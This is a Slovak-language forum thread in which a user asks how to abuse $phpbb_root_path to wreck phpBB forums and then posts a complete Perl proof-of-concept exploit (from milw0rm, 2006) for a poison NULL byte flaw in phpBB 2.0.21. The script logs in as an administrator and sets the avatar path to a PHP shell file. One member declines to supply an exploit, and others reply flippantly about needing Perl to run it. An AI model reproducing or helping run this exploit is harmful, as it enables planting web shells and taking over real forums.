$phpbb_root_path - zneuzitie

Programovacie jazyky, rady, poradňa...
mailer
Star
Star
Príspevky: 544
Registrovaný: 01 jún 2006, 16:56

$phpbb_root_path - zneuzitie

Príspevok od používateľa mailer »

zdravim vas,
nieco som pocul ze ak v nejakom mode sa vyuziva "$phpbb_root_path" tak sa to da zneuzit (hovorim o phpBB) vedeli by ste ako?

neodkazujte ma na phpBB podpory lebo oni su odtoho ako forum ochranit nie pomoct k jeho zniceniu,cize tam to mazu taketo temy ale na hojkovi by sa mohlo poradit :)
masterdead
SysAdmin
SysAdmin
Používateľov profilový obrázok
Príspevky: 1809
Registrovaný: 03 aug 2005, 23:32
Bydlisko: Bratislava
Kontaktovať používateľa:

Príspevok od používateľa masterdead »

pochybujem ze ti niekto napise uz hotovy exploit a pochybujem ze ti niekto dopomoze háčknuť nejake to forum. jedine co ti mozem poradit prejdi si zdrojak phpbb a potom dotycneho modu v ktorom sa nachadza $phpbb_root_path a ver mi odpoved najdes aj sam :D
mailer
Star
Star
Príspevky: 544
Registrovaný: 01 jún 2006, 16:56

Príspevok od používateľa mailer »

:? ale tak idem googlit,tu odpoved som nenasiel
mailer
Star
Star
Príspevky: 544
Registrovaný: 01 jún 2006, 16:56

Príspevok od používateľa mailer »

Kód: Vybrať všetko

#!/usr/bin/perl -w
# Author: ShAnKaR
# Title: multiple PHP application poison NULL byte vulnerability
# Applications: phpBB 2.0.21, punBB 1.2.12
# Threat Level: Critical
# Original advisory (in Russian): http://www.security.nnov.ru/Odocument221.html
# 
# Poison  NULL  byte vulnerability for perl CGI applications was described
# in  [1].  ShAnKaR  noted, that same vulnerability also affects different
# PHP  applications.  An  example of vulnerable applications are phpBB and
# punBB.
# 
# Vulnerability  can  be  used  to  upload  or  replace arbitrary files on
# server, e.g. PHP scripts, by adding "poison NULL" (%00) to filename.
# 
# In  case  of  phpBB and punBB vulnerability can be exploited by changing
# location  of avatar file and uploading avatar file with PHP code in EXIF
# data.
# 
# A PoC exploit to change Avatar file location for phpBB:
# 
# 

use HTTP::Cookies;
use LWP;
use URI::Escape;
unless(@ARGV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass images/avatars/shell.php [d(DEBUG)]\n"}
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)');
$ua->cookie_jar( HTTP::Cookies->new());

$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1";
my $req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
my $res = $ua->request($req);

$res=$ua->get('http://'.$ARGV[0].'/login.php');
$content=$res->content;
$content=~ m/true&sid=([^"]+)"/g;
if($ARGV[4]){
$content=$res->content;
print $content;
}
$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1&admin=1";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);

$url='http://'.$ARGV[0].'/admin/admin_board.php?sid='.$1;
$data="submit=submit&allow_avatar_local=1&avatar_path=".$ARGV[3]."%00";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
if($ARGV[4]){
$content=$res->content;
print $content;
}

# milw0rm.com [2006-09-11]
vedel by niekto ako to sprevadzkovat?
mailer
Star
Star
Príspevky: 544
Registrovaný: 01 jún 2006, 16:56

Príspevok od používateľa mailer »

nikto nevie?
ehm123
King
King
Príspevky: 1658
Registrovaný: 27 feb 2006, 6:45
Bydlisko: PD / Praha

Príspevok od používateľa ehm123 »

hosting s perlom :)
chrono
VIP
VIP
Používateľov profilový obrázok
Príspevky: 7127
Registrovaný: 25 dec 2006, 15:17

Príspevok od používateľa chrono »

Stačí aj počítač s perlom + správne perl knižnice + pripojenie na internet. :wink:
Napísať odpoveď